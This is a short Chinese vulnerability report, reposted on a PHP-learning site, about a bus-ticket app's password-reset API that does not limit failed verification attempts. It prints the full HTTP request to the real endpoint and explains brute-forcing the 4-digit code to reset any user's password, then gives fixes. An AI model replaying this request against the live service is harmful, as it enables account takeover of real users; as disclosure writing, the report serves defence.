来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] 问题依然在app端,系统接口未限制校验错误次数,但是接口对较多线程发的包无法处理,但是4位纯数字验证码我们使用使用1个线程进行暴力破解足以,接口如下:POST iphone v0500 resetUse...
问题依然在app端,系统接口未限制校验错误次数,但是接口对较多线程发的包无法处理,但是4位纯数字验证码我们使用使用1个线程进行暴力破解足以,接口如下:
POST /iphone/v0500/resetUserPwd.htm HTTP/1.1 Host: ios.update.trip8080.com Connection: close Accept-Encoding: gzip Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 122 Connection: close User-Agent: 畅途汽车票 2.3.4 verifyCode=5669&newPwd=200820E3227815ED1756A6B531E7E0D2&confirmPwd=200820E3227815ED1756A6B531E7E0D2&userMobile=13xxxxxxxxx
以verifyCode参数为爆破对象进行爆破,当验证码错误时;
当爆破到真实验证码时,即可成功修改用户密码;
修复方案:
限制校验错误次数;
增加验证码负责度
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com